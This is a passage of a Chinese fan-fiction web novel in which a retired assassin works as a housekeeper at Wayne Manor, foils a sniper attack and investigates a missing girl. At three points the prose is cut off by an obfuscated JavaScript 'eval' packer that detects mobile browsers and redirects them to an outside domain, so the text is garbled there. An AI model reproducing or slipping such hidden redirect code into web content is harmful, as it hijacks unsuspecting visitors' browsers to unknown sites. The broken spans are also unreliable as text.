“我还想坐上更高的位置,你会帮我的,是吗?” 辛迪听见这一如既往的话,她回答的语气也一如既往的没有一丝动摇。 “是。” 另一边,约翰在车上换了平底鞋,他抬头看了一眼后视镜,然后看向了前方的道路。 哥谭市郊区,韦恩庄园就坐落于此。 因为来的路上已经打过电话确认了时间,所以约翰一到庄园门口,就看见等候在门外的管家潘尼沃斯先生。 老管家兢兢业业地守护这个家族几十年,自诩什么样的危机情况都可以完美应对,是个完美的管家,但是新时代的冲击力不是一般的大。 当他亲眼目睹一身腱子肉的约翰穿着一件女仆装从车上走下来时,他的左边大脑在思考这是不是韦恩老爷新的癖好,右半边大脑在叫嚣着要举报这样的家政公司。 约翰诚恳地走上前和阿福握手,顺便解释了一下自己的装束问题。 “这是一种避免员工之间性别歧视的方法,也是一种防止……您知道的,毕竟这里是哥谭。” 约翰用了他想了许久的理由。 阿福很想说“不要什么都拿‘哥谭’来说事”,但他怎么也开不了口,实在是不想说错话,因为前边还有个堵住他的嘴的原因。 “我能理解,先生,请跟我来。” 8. 任务 约翰轻装上阵,挑挑拣拣了几样用得上的工具带着,紧紧跟在阿福的身后走进了这座有名的韦恩庄园里。 直到走到别墅门前,阿福才做好心理准备,接受了约翰的特别之处,他现在面对约翰已经完全不会感到尴尬了。 只是对于布鲁斯等人而言,迅速关上新世界的大门显然需要时间。 阿福打开门,正好和抱着一只奶牛猫的达米安碰上了,不等阿福介绍起约翰来,达米安就率先走到约翰面前,他怀里的猫有些不耐烦,正在用尾巴打他的手臂。 达米安一边安抚猫咪一边打量约翰,他似乎是想到了什么,眼神怪异一瞬,看起来不像是个普通的小孩子,有种与年龄格格不入的成熟感。 “你是新来的女仆?” 不,他对约翰的身份接受得太快太好了,甚至比阿福还要快和好。 约翰摇头否认。 “也不算是,我只是短期内在这边工作而已,女仆装是老板的恶趣味。” 达米安盯着约翰看了两眼,他显然是以为那个“老板”是他的亲爹布鲁斯,于是他的脸色立刻更臭了,他很想说些什么,但在管家侠的注视下还是一声不吭地离开了。 达米安抱着猫转身朝二楼走去,恰好布鲁斯正穿着睡袍从楼上走下来,他一边打哈欠一边看向门口,抛去演技不谈,他的造型倒是很符合一个花花公子的身份。 布鲁斯和达米安打招呼,只得到了后者一言难尽的一眼。 他摸了摸鼻子,看到约翰一身超短女仆装站在客厅里时,脚一滑差点连人带拖鞋滚到一楼。 “哇哦,这是什么演出吗?” 布鲁斯慢慢走下来,抓着自己乱糟糟的发型坐在了沙发上,他看着约翰,好半天才挤出这一句话,而彼时的约翰已经听管家说完了打扫的地方及要求。 约翰没有理会布鲁斯,只是谢过阿福,拎着水桶到花园的水龙头处接了半桶水,然后把水桶拎了进来。 拎进来之后,约翰就开始了他朴实无华的拖地板工作,没有任何含金量的工作,显得付了一大笔钱的布鲁斯像个冤大头。 不像是一般的家政员工。 阿福欲言又止,与布鲁斯对视,两只眼睛里都写着“如果那种价格是因为您点了这种服务的话,那我也不能说些什么”。 布鲁斯止言又欲,他很想说当初下单时确实有看到宣传上的“惊喜”,但并没查过是这种服务,不对,明明是那些下单过的人嘴都太严了,竟然连员工穿什么衣服都不说! 在两人还在用眼神对话之时,约翰已经用他高超的拖地技巧把一楼客厅的地面都拖得闪闪发光了,不是他们被太阳晃到了眼睛,地板砖是真的在发光。 一桶水,一个拖把,一个奇迹。爱诗家族特技,你,值得拥有。 不过约翰这种干惯了“效率至上”工作的人还是没能理解“钟点工”的真正含义,虽说韦恩老爷已经付了定金,但后续工资还是与他工作的时间长短挂钩的,他干的快,拿的钱就少,至于定金……那就是他这身衣服的押金。 与一般的资本家不同,布鲁斯是带着目的请约翰过来的,他花钱的重点不是家政服务,而是约翰这个人,所以约翰干活干太快对他也没好处。 本来他以为打扫韦恩庄园,至少也要三天的时间,现在看来,约翰可能三个小时都用不到,那要是三个小时之内他试探不到有用的情报的话,下次再请人来就要重新下单并再交一笔堪比全款的定金。 不行,活不是这么干的。 布鲁斯拍板决定,叫住了正在擦扶梯的约翰。 “是叫曼——曼迪先生?” “你是老板,叫我保尔也行。” 布鲁斯被噎了一下,还好这时阿福装作提醒布鲁斯的样子告诉了他约翰的全名。 “好的,曼尼先生,你的工作效率有点超乎我的想象了,我的直觉告诉我你一定是个人才,你还会什么别的技能吗?比如修个东西、剪个草坪?” 约翰听了,感觉有别的活要交给他干,恰巧他终于想到了自己是按小时收费的,虽然不在乎那些钱,但钱就是钱,他在这赚的钱可以拿去买许多法棍面包,然后让肖特扔到犯罪巷那边。 嗯,买一卡车的吧。 一卡车的话,需要的钱也要多些,那他就得再多工作几个钟头。 眨眼间,约翰已经想出了一套说服自己的逻辑,他对着布鲁斯点头,说:“我可以辅导高中及以下年级的作业,会修钟和水管,会做基础的园艺工作。” 这些应该暂时够用。 约翰报了几样技能之后想着,他以往为了任务也学过不少东西,也幸好他学过不少东西,不过有些技能还是不说出来比较好,万一布鲁斯真的是蝙蝠侠本侠,他还能不能拿到他的工资都是两说。 “作业?这个可以。我的小儿子达米安,你刚才也见过了,他正巧需要别人辅导作业,唉,我这个当父亲的实在没空做这件事了——” 约翰自动将后面的话过滤掉,只留下“给达米安辅导作业”这个关键信息,他擦完扶梯,郑重地点点头,虽说他以前只辅导过联盟里的毛头小子们,且他们的年龄基本都是上高中的年龄,但四舍五入就是他可以辅导高中生,而从达米安的年龄来看,对方顶多就是一个上了初中的孩子,不足为惧。 “P对NP的问题?” 半小时后,约翰坐在达米安的写字桌前,对着这个问题发愁,他不是不知道这是什么,只是,他现在面临两个选项—— 一,告诉达米安这个问题被纽约的数学家解出来了,只是人家死于谋杀,算法也被神秘的有关部门给严格管控起来了。 二,说自己不知道。 前者,他还要解释自己为什么知道这样的情报,后者,他只用承认自己不懂就行。 “我不会。” 约翰没有多想,立刻选了第二个人选项。 达米安有些失望,又显露出“果然如此”的神情,令约翰忘记了他是如何被联盟的毛头小子们气到神志不清的场景,他心软了。 “为什么想要了解这个问题呢?” “因为它够难。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16107013|179854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 达米安抱着手臂看向那一堆写满了计算的废纸,烦躁地转移了视线,说:“算了,那就换个你能做到的。” 约翰点点头,想了又想,说:“学校里会有布置什么科学作业吗?我的手工也很好。” “那个太简单了,我自己也能做。” 达米安还是没有一个好脸色。 约翰并不起气馁,他选择了最朴素的办法:“我替你抄作业吧,你可以在屋子里和猫咪玩。” “他有名字,他叫阿尔弗雷德。” 达米安指正了约翰的“猫咪”叫法,就是因为人们总是“猫咪、猫咪”地叫它,搞得阿尔弗雷德以为自己的名字真的叫“猫咪”。 “好的,我知道了。” 约翰认真地应下来,然后在达米安的默许下给他抄作业,为了防止检查作业的人看出不对劲来,他还特意模仿了达米安的笔迹。 约翰抄作业抄得上了头,抄完了一份不够,还额外多写了几篇的读后感,这样达米安至少有几个月都不用为读后感这样的课余作业感到纠结。 另一边,阿尔弗雷德终于不肯在和人类多待,它从达米安挠它下巴的手里逃出去,很快就溜没了影,失去毛茸茸的达米安只好去检查约翰的进度,当他发现约翰超额完成工作时难得给了好脸色,他看着约翰,夸他除了一身肌肉之外还有点能让人看上的地方。 这话听起来真的很怪,约翰也是真的想给协会的人打电话。即使达米安是罗宾,也不应该接受那种思想的荼毒,说到底他也只是个上中学的孩子罢了。 “这是一个女人让我穿的。” 约翰的解释不如不解释,达米安看起来像是从一个误会蹦到了另一个误会上,情况并没有改善。 “我的妈妈也是这样的女人,她们都很厉害。” 约翰无法反驳。 眼看着快到了他下班的时间,约翰将手上蹭的笔水痕迹擦干净,下楼去找了管家阿福。 一番沟通之后,阿福善解人意地表示“明天再来”也可以,接着就这么让约翰带着他的工具离开了韦恩庄园。 约翰开车离开,他走后,布鲁斯才放下监听设备,对着达米安说:“抄的作业不算。” 之后又和阿福讨论起了明天的计划。 这时,提姆刚下班回到韦恩庄园,听见布鲁斯在和阿福讨论约翰的事情,随口问了一句事情进展,还说:“对了,我刚才在路口边看到一个穿着女仆装的男人开着车朝反方向离开了,看他的模样有些眼熟,和那个家政公司员工倒是很像,怎么,他今天穿女仆装来的吗?” 提姆本意是想活跃一下气氛,再加上他心里有了推测所以才把这事拿出来当笑话讲的,但他不知道一般的女仆装和一看就是某店专产的女仆装看起来的视觉效果是不一样的,归根结底还是因为车挡住了一部分少儿不宜的画面。 提姆见两人面色有异,贴心地岔开了话题,问起别的情报。 绞尽脑汁只想到约翰干活效率很高的布鲁斯:…… 或许这个试探行动是多此一举。 9.狙击 如果说约翰第一次在韦恩庄园工作时其他人还会感到些许的尴尬,那么当他第三次来到韦恩庄园时,韦恩家的人已经心如止水、不在吐糟了。 这次,约翰主要负责庄园里的园艺工作,当他叉着腿坐在梯子上给数顶修剪时,坐在窗边办公的提姆会偶尔抬头看他一两眼。 提姆抬起头,和约翰对视了,他只好举起杯子打个招呼。约翰笑了笑,手里的剪刀“咔嚓”作响。 布鲁斯强打起精神走过来,问提姆是不是有什么新发现。 “没有,企鹅人的那几个手下确实失踪了,他本人也没有找人寻仇的意思,不寻常的事确实不少——” “没查出来他有什么问题。” 提姆将他查到的有关约翰的身份信息打包成了发给了布鲁斯,得到后者“直接给我看就行了”的评价。 布鲁斯看着约翰扛起梯子走到另一颗树底下,眉头间的距离简直可以夹死一只蚊子了。 “但是一般人可练不出他那样的体格。” “这倒是。” 提姆挑眉,切换了桌面继续工作。越是完美无瑕的个人信息越有可能是伪造出来的,因为正常人根本不会有记成年事录一样的经历。 一般他们去查市民信息,最多就是查到对方的姓名、年龄、家庭住址、工作地址、社保号码等基础信息,然后再根据对方的网名和亲人调查到一些个人事件,但是这个约翰…… 提姆一心二用,还在想着约翰那丰富到可以写传记的人生经历,什么孤儿出身,勤工俭学又辍学,流浪街头被骗去当人体实验志愿者,逃出生天时因为无证驾驶被起诉,没人给交保释金于是不得不做了三个月的社区服务,结果社区里藏着□□老大,帮派火拼时没躲过去中了一枪。 他被好心人送到医院,遇到了“死亡天使”,再次逃跑,救下要跳河的女人,女人为了感激他花钱让他上夜校继续读书,读到一半女人被变态尾随谋杀,为了报仇挟持凶手未果,又进了监狱,女人家属救他出来,警察可怜他帮他介绍了一个叫苏菲的女人,在她手底下做家政工作…… 他期间换过几份工作,最后还是选择了家政公司。 提姆一口气总结完约翰的人生经历,心想,要是有人愿意买下这个故事拍电影的话,他一定会买个几十上百张电影票支持一下票房。 见过包装信息的,包装的这么花里胡哨又不走心的还是不多见。 但凡这中间来个超级英雄的身影,提姆都可以拿他当同人小说看,可惜故事写得不错,就是一个倒霉的普通人的经历。 这边提姆还在纠结故事走向的问题,那边约翰已经修剪好了所有的树及灌木,就剩下草坪还需要清扫和打理了。 约翰收起油锯,摘下手套接过阿福递给他的茶水。 “谢谢你,潘尼沃斯先生。” “不用客气,这是我应该做的。你的工作进度非常快,完全可以休息一下再进行剩余的工作。” “好主意,谢谢。” 约翰采纳了这个建议,主要是有几个家伙总是在窗户边盯着他干活,他对来自他人的视线太敏感了,总是被动意识到这一点的话也不算什么好体验。 也不知道艾米莉亚给他的员工信息伪装得怎么样,能瞒过那个一看就很聪明的小少爷吗? 约翰有些发愁了,早知道他就联系自己人……不,不行,那帮家伙现在还在联盟,贸然联系可不是好事,他这种强行辞职的还好,要是被打上“叛徒”标签,可没多少人逃得过联盟的通缉。 约翰不再多想,他洗了手,端着阿福特别提供的下午茶坐在了花园里的石凳上。 香气宜人的红茶和小甜饼有效缓解了约翰不存在的疲劳,他吃着最后一块甜饼,突然感知到一股杀气。 那杀气不是来自庄园里的人,那些人的视线多是探究和打量,那么—— 约翰将杯中红茶一饮而尽,脑海飞速运转思考着杀气的来源,这附近倒是不太可能,蝙蝠侠的居所不可能不在周边布置防御线,既然如此,杀气的距离应该要再远些。 约翰将托盘端起来准备还给阿福,一枚子弹正中他刚才坐过的石凳上,这是警告,也是表明身份。 敢这么挑衅他的,不是无知就是认识他还没被他打死的人。 约翰倾向于后者,水平一般的狙击手,压根做不到刚才那一枪,在子弹射过来之前就会被他挡下。 毫无杀气的一击。 约翰已经想到了一个人,他沉着脸走近宅邸里,郑重地将托盘递交给阿福之后,他对着阿福低声说了些什么,后者只是稍一迟顿,很快便反应过来。 “老爷、提姆少爷,来尝尝我新做的点心吧。” 阿福将小甜饼和司康饼从厨房端出来,顺嘴说了一句“有不速之客”,随即便招呼着布鲁斯等人远离窗户的位置,他还想上楼去和其他孩子们说一声,结果她们倒是追着阿尔弗雷德和提图斯跑下来了。 斯蒂芬妮和卡珊德拉你挤我、我挤你地跑下来,一人抱住一只宠物,得意地在达米安面前晃来晃去。 达米安继续一脸傲娇小孩样,伸手按住了猫头和狗头。 “真无聊。” 他说着,想拿起小甜饼,结果被管家催着去洗手。 达米安一脚踏进厨房,约翰立刻飞身扑了过去。 子弹打在他身上,惹得其他人惊呼一声,迅速做出战斗反应。 “喂!你——” 达米安被约翰拖着远离了厨房的位置,那里有一扇半开的小窗,是阿福刚才使用厨房时打开的。 通过那个距离,将狙击点对准到刚进去的达米安身上,这样的技术,确实是联盟里的那个只会用枪的杀手不错。 现在的问题是,他为什么会来杀韦恩一家?联盟虽然黑心,但也不是什么给钱就可以干掉任何人的没节操的组织,除非目标不是某种意义上的好人。 难道是他接私活? 约翰惊疑不定,达米安在他怀里挣扎,等他反应过来时韦恩一家人已经调理好了,他们开始变成“普通人”。 布鲁斯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111558|179854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躲在沙发后面朝约翰两人招手让他们过去,约翰一抬头,才发现包括阿福管家在内的人都躲在了那后面,长长一条沙发后面一起露出一排脑袋,还有一个猫头和一个狗头。 简直是最好的靶子。 约翰两眼一黑,还是带着达米安蹲着走了过去。 为了伪装,你们比我还拼命啊! 约翰也不知道该怎么说,就从他刚才的反应来看,他铁定是暴露了自己不是普通人的事实,那这些人即使知道他的不同寻常之处,却还要在他面前伪装成普通人也太辛苦了些。 达米安终于从约翰的怀抱中挣脱出去,他将约翰身前身后都看了一遍,没有发现弹孔,自然也没有发现流血的地方。 难道他听错了? 可他刚才分明听到那枚子弹是打中了什么的。 不用达米安细想下去,他的好父亲直接关心约翰:“曼尼先生有没有受伤,刚才是怎么了?有人袭击吗?” 约翰别扭地看了布鲁斯一眼,他还是不适应甜心布鲁斯和黑暗蝙蝠侠的转变。 “没关系。是狙击,不过我的衣服可以防弹,所以不会有事。” 约翰也不装了,他现在满脑子都是那个接私活胡乱暗杀别人的狙击手,要么解决他,是误会就教训一顿。 至于裙子,他只记得当时交押金时艾米莉亚提醒过他:“无论发生了什么情况都不要脱下来,王牌特工同款防弹面料,保命的,或者换个救命恩情。” 艾米莉亚,不愧是能坐镇哥谭分公司的女人,她一定是提前得到了什么消息,没有告诉约翰,就指望他救人呢。 或者被救。 问题不大。 约翰并不介意被利用这一点,毕竟艾米莉亚从一开始就把“利用”这个词写在脸上了,傻瓜才看不出来。 只是这防弹的布料也太少了。 约翰想了又想,觉得这玩意儿有等于没有,还是给别人算了。 他看向年龄最小的达米安以及像是营养不良一样消瘦的提姆,暗自比划了一下裙子的长度和他们的腿长,思考了一秒,放弃。 约翰发现这衣服穿在他身上和穿在别人身上的效果差不多,绝不承认是这两人个头不矮的缘故。 “韦恩先生,先报警吧。” 约翰对布鲁斯随口说着,注意力始终放在窗外。 花园石凳在厨房两点钟的方向,狙击手要是将枪口转向厨房的话,原地转移有限,毕竟这边还有树木遮挡,所以他会选择更加安全、更加极端的视角。 而第二击不成,对方意识到厨房这个地方无法再用时会选择第二个战略——改变距离。 前进还是后退? “啪!” 放在壁炉上的相框被子弹击中,直接掉在地毯上,约翰爬过去捡起相框,被击中脑袋的是布鲁斯。 当他不打算杀某人时,就会用子弹击中对方的相片以示了解,在约翰认识的所有杀手里,他不是技术最高的那一个,却是最具有仪式感的人。 事情结束了。 10.会面 事情真的结束了吗? 约翰拒绝了布鲁斯等人的挽留,刚好给这些人留点变装的时间。离开韦恩庄园,约翰钻进车里将身上的十几个窃听器丢出车窗外,驱车一路开到新城才停下。 熄了火,约翰给伯恩斯,也就是他那个前杀手同事打了个电话。 对方接通电话时,约翰一句话直入主题。 “你发什么疯?” 电话对面的人迟迟没有发言,约翰拿他没招,他大概能从那边的背景音里猜到伯恩斯那人现在在什么地方,他挂断电话,立刻开车赶往一家酒吧。 酒吧门口有位吹奏萨克斯音乐的男人,约翰从钱包里掏出二十美元放在那个做成水桶造型的帽子里,男人吹奏的曲调立刻上升了两个调,他将钥匙取下来,打开了门锁。 约翰推开门走进去,身后传来上锁的声音,这里面并不像一般的酒吧那样喧哗,只有灯光是一如既往的昏暗。 约翰在吧台处看见了熟悉的背影,他在心里吐槽着这人逃跑的速度倒是快,在这里躲着的话,任是蝙蝠侠他们也找不过来。 他走过去,紧挨着伯恩斯坐下,岂料伯恩斯一见到他,头一仰,喝了杯中剩下的酒后屁股一抬就要离开。 “下一杯我请。” 伯恩斯又把屁股放回去了。 “听见了没,我们的约翰要请喝‘那瓶酒’,快来一瓶!” 八万美元一瓶酒,也是买下伯恩斯雇主情报的价格。 约翰衡量了一下这笔交易,最后好奇心打败了理智,他对着酒保点头,后者从善如流地转身,将酒柜上方的一瓶威士忌取了下来。 “想问什么?” 伯恩斯即将喝到免费的酒,咧着嘴问约翰想问什么情报。 “为什么要对韦恩一家人动手,联盟不可能发布任何针对斯塔克、韦恩等人的任务,这一点你比我更清楚。” 与颇有原则的约翰相比,伯恩斯是个不守规矩的人,这一点是联盟里杀手的共识,如果说约翰是个只在联盟规则内部行动的机器,那伯恩斯就是喜欢偶尔背叛联盟的不定时炸弹。 奇怪的是,联盟除了每次让他缴纳一笔巨额罚款之外,便再也没有其他针对性措施。这就使得伯恩斯行事愈发没有顾忌,总是接各种私活,哪怕是明知完成不了的任务也要去淌一次浑水,再加上罚款,这就相当于他是在贷款上班。 伯恩斯跳过了罗里吧嗦的解释,惜字如金般说道:“辞职了,跳槽了,不是私活。” 酒保终于把他的圆球冰给凿好,然后给他倒了半杯威士忌。 约翰看着伯恩斯兴致冲冲地饮下一口酒,听他发出爽快的感叹声,撇过头去不知该怎么说了。 “那你现在在哪里就职?” 伯恩斯晃晃手里的杯子,杯中颜色澄清透亮的橙金色液体在小小的灯泡下闪着磷光,极其吸引人的视线。 “在神盾局。” 约翰皱眉:“是那个国土战略防御攻击与后勤保障局?” 伯恩斯听完这一长串的全称,惊讶地看向约翰,那眼神好像在问约翰怎么会知道这个神秘机构。 约翰耸肩,说:“我以前在那里卧底过,特别任务。” 伯恩斯又喝了一口酒,点点头。 “但是神盾局也不可能会让你来解决韦恩一家吧?他们的局长是个自称为了保护地球可以做到任何事的男人,他总不能怀疑韦恩一家有毁灭地球的计划了。” 伯恩斯摇头,否定道:“当然不是,我的任务根本不是杀人,而是试探。试探蝙蝠侠在绝境下会不会出手救下他那个大老板一家。” 说着,他瞪了一眼约翰,抱怨他不该在那里坏他的好事。 “有你在,他们怎么也不会碰到‘绝境’了,那我再待下去就没意思了。” 他看着约翰,突然嗤笑一声,意义不明地感慨:“你可真会给人找麻烦,大英雄。” 约翰的脸色一下子就变了,他按住酒保给伯恩斯倒酒的手,语气十分严肃。 “别打哑谜,谁这么开始称呼我的?” “还能有谁?” 伯恩斯推开约翰的手,一把抓过酒瓶给自己倒了大半杯,然后猛灌几大口,看得酒保的眼皮狠狠一跳。 “还能有谁?你也有‘粉丝’了,哈哈,看来坚持原则还是有用的,现在大家都叫你‘神秘人’,惩奸除恶的‘神秘人’,开心吗?” 酒气熏熏的脸凑过来,被约翰给无情地推开。 约翰并不开心,说到底,他也只做和自己有关的事罢了,他不觉得自己可以当什么英雄,迄今为止他杀的人,都是联盟的任务,他杀他们也只是因为有钱可拿,真正的英雄可不是他这样的。 不对。 他之前,好像,大概,也许,无偿解决过一个连环杀人犯? 约翰沉思着,心情很快便从忧郁变好,变得恍然大悟、豁然开朗。 不过只是一个称呼而已,而且他现在已经在哥谭这里了,纽约那边,人们无论如何也不会长久地维持那股追逐英雄的热潮。既然如此,那就没什么好担心的了。 而且,回归正题,伯恩斯接下的神盾局的这个任务,与其说是试探蝙蝠侠会不会出现,倒不如说是在试探蝙蝠侠和布鲁斯·韦恩是不是同一人。 问题是,这是那个局长的命令呢?还是别的什么人想借机掌控蝙蝠侠的秘密?毕竟,那里可是有…… 想到这里,约翰终于想起来他要对伯恩斯说的台词了,他一脸认真地盯着伯恩斯,郑重地说:“看在你帮过我的份上,我可以给你一个忠告。不论我接下来说的事有多么可怕,你都不要无法接受。” 伯恩斯也正了正神色,他放下酒杯,和约翰对视:“你说吧,我受过专业的训练,我能接受。” “好。我要说的是:这个神盾局,里面有很多卧底。” 伯恩斯掰断了吧台的一角,酒保见状立刻发出尖锐的爆鸣声。 “冷静,我还没说完,这里的‘很多 ’可以参考你上一次卧底的那个组织。” 伯恩斯平静的面容出现大面积的崩裂,他喘着粗气,抓着约翰问:“难道你说的,是那个除了一个长头发的和一个开车的大块头,其他人要不是各国特工卧底、要不是背叛组织的那个——” 约翰沉重地点点头。 “看来那个占卜师说 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伯恩斯终于抢过酒瓶,酒保还在质问他吧台那个被掰下来的一块木头怎么办。伯恩斯又把酒瓶递给了酒保,“这是维修费。“ “不过,”他转向约翰,仔细打量了他一下,说,“你又是为了什么做到这个份上呢?” 约翰没有搭理他,只是伸出手要钱。 “得了,特工工资还不够我用的,没钱买你的情报。” 约翰收回手,他想知道的都已经知道,再待下去难保不会被伯恩斯套话,他还是不擅长应付别人话里的坑的,还是不多说一个字为好。 约翰刷了卡结账,摆摆手从后门离开,后门外是另一个演奏手风琴的男人,他和前门的那个人是双胞胎兄弟。 他走后,伯恩斯又向酒保讨要了一杯普通的酒水,一个人坐在原来的位置上小酌。良久,他才看着昏暗的灯光感叹:“没想到那个被人找疯了的约翰会在这里,大名鼎鼎的约翰,无所不能的约翰……” 酒保擦着杯子,眼皮一刻也没抬,他突然接上了伯恩斯的话:“如果真的是那个‘约翰’的话,我刚才或许已经死了。” 酒保低头看着桌台下面藏起来的武器,用抹布盖住了它。 业界内有个传说,传说的名字叫约翰·曼尼。而关于这个传说还有一个说法:能杀死约翰·曼尼的杀手,可以跨越无数阶级和制度,一跃成为最顶层的杀手,那意味着金钱和权力,对所有杀手来说都是最大的诱惑。 但是传说之所以是传说还是有道理的,约翰任职期间从没有人动过这个念头。 但是某天他突然退役了。 因为什么? 没有人知道。 但是大家都有个心照不宣的猜测——因伤退役,这就有意思了。 伯恩斯将手里的杯子重重放下,嘲讽了酒保一句:“那你刚才怎么不动手?他完全没有给你动手的机会吧。” 这点酒保无法反驳,他沉默下来,想起来刚才约翰似乎是不经意间朝他投向的一瞥,背上的冷汗还未干透,他却还在痴心妄想,真是…… 毫无疑问,那个男人仍处在巅峰状态。 11.安妮 距离约翰上一次前往韦恩庄园已经过了一个星期,同样的,他自那之后也没有再听到有关伯恩斯的传闻,或许是真的回去辞职了吧,总之,那个暗杀韦恩一家的任务就这么潦草地结束了。 不过这不意味着他们是安全的。 约翰是这么推测的,纽约那边的神盾局管不到哥谭这边,这种任务更像是哥谭本地的某个势力特意和九头蛇勾搭成奸,然后才有了针对韦恩一家的任务。 归还制服的时候,艾米莉亚对约翰的表述不是很满意,但她也不打算再指望这个呆头鹅,她会派其他人去完成韦恩庄园里剩余的工作。 “你要真想隐瞒身份,干脆换个名字,还用‘约翰·曼尼’这个名字不是存心让我查出来吗?” 艾米莉亚敲着桌子,对约翰的做法很是无奈。 约翰摇头,随口解释道:“不能换,这名字对我很重要。”而且他自认自己是退役了才辞的职,和背叛联盟又不相干,联盟也从来都不是庇护他的组织,所以即使身份暴露了也不会引来什么追杀,只是有点小麻烦罢了。 他能应对,问题不大。 至于蝙蝠侠那一帮人…… 约翰猜测他们或许是因为那天的仓库枪击声才会怀疑他,事实上,他们的怀疑也没错,而且比起被烦人的罪犯纠缠不清,被专门揍罪犯的义警们缠上要好得多,他又不是打不过。 至此,约翰便彻底把布鲁斯等人的事情抛之脑后了。 这天,又是一次处理残局的工作,约翰开车赶到犯罪巷,结束工作后又在那里逗留了一会儿。在他工作地点的旁边有家面包店,约翰之前的一卡车面包就是从这里购入的。 格林夫人将切下来的吐司硬边装成袋,拿到后门处的箱子里,很快便有人从这里拾走了那袋食物。她转身回到面包房里,又拿了一些过期的面包,这次他看到了约翰,立刻放下手里的东西,朝他走来。 “曼尼先生,这次也是来这边工作的吗?” 约翰应了一声,问起之前他救下的那个孩子的事。 格林夫人努力回忆了一番,想起来前几天发生的事情,神色迟疑,不知道该不该把那件事告诉约翰,这时,他的丈夫格林先生走了出来,他走过来,听了自己妻子的满含犹豫的问题,最后决定把那件事告诉约翰。 “安妮她、她失踪了。” 约翰皱起眉毛。 他会救下安妮也是一次机缘巧合,那天他刚好临时加班来犯罪巷支援肖特,工作结束之后在那附近买辣热狗吃,突然,他听到巷子深处传来微弱的呼救声,那声音像猫崽子叫唤一样,有一声没一声的。 约翰将热狗放在长椅上,带着手电筒走进了巷子深处,不知是天色过晚还是什么原因,总之他没看到以往巡逻的义警们,只有鼻尖始终萦绕着一股挥之不去的血腥味。 手电筒的灯光对准了呼救声的来源,一个脸颊上长着浓密毛发的小女孩,被血打湿弄成一绺一绺的毛发黏在她的侧脸上,如一团漆黑的阴影,那阴影一直从她的脸颊延伸到衣领处的胸口,还有一条手臂。 她陡然见到了光,一动也不敢动,只是将自己抱得更紧了,小小一团就这么蜷缩在一个死去多时的女人怀里。 那个女人是“疯女人爱丽”,约翰之前听肖特说起过她,一个从前当过流莺的可怜女人。她是怎么疯的已经没人知道了,同理,她是怎么保护了这个孩子并死在这里的也没人知道了。 约翰看着女孩,蹲下去问她:“刚才是你在求救吗?” 担心她听不懂,约翰又换了几种不同的语言问她,还用了一些简单的发音和手势比划了出来。 女孩对约翰的手势给出了明显的反应,她抬起头,一个发音模糊不清的单词吐出来,和约翰之前听到的声音很像。 约翰指了指女孩和她身后的爱丽,表示疑问。 女孩指了指自己,她知道死亡是什么,也知道爱丽已经死了。 约翰朝她伸出手,一条毛茸茸的手臂递了出来。 约翰牵着她的手,突然犯了难,这样的孩子和人体实验有关,他能把人安置到哪里呢?而且他也不知道这孩子是一出生就在实验室里了,还是被卖过去的。 名字,该叫什么名字? 约翰停下来,指着自己说“约翰(John)”,又指着女孩,表示疑问。 “啾。” “约翰。” “乔?” 约翰指了指女孩。 女孩反应过来,发出欢快的一声:“啊!” “安?” “啊!” “安妮?”约翰发现她不知道某些发音。 女孩点点头。 “好的,安妮,跟我离开这里,还是——” 安妮停下了,她抱着自己那条毛茸茸的手臂,躲回了巷子里,显然,她对自己与其他人的“不同之处”有较为明显的认知,还是不好的认知。 这就麻烦了。 约翰没有善心大发到把人强制性带走照顾起来,只是给安妮在犯罪巷里租了间房子,留下食物和水——他发现安妮拥有基本的进食饮水的生存技能——并拜托了面包房的夫妇在他不来这边的时候对她照看一二,当然,是支付了报酬的。 但是他没有留下联系方式,本质上还是以前的职业习惯作祟,他经过的地方最好是不留痕迹,又怎么会留下自己的私人联系方式呢? 就这样,直到安妮失踪两天了,格林夫妇才能和他说起这件事。 “我知道了。” 约翰握了握拳,转身走进身后那栋楼里,在三楼的一个房间门口,他发现了已经干涸的血迹,似乎是通过鞋印转移过来的。 约翰很想告诉自己不要后悔,他早就知道犯罪巷是个什么情况,哪怕这里因为某些义警而有所改善,归根结底还是一个不安全的地方……不,当他把一个没有监护人陪同的孩子放在任何一个小屋里时都会有这种情况,如果当时…… 约翰扶着门框站起来,门锁上有暴力破坏的痕迹,推开虚掩着的门,屋内倒也不算狼藉,毕竟这里也没有什么家具给那些绑架安妮的人来折腾。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16132308|179854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从脚印判断,在这里待过的绑架犯至少有四个人,身高六英尺,穿着军用式作战靴。血迹在床边有几滴,这里是某人最初流血的地方,血液垂直落地呈圆点,没有飞溅的血液痕迹,说明受伤的人不是因为遭受身体暴力而出血。 血液直径随着滴落时的高度增加而增加,从最大的那枚圆点来看,这个高度,应该是安妮的身高加上,床的高度。 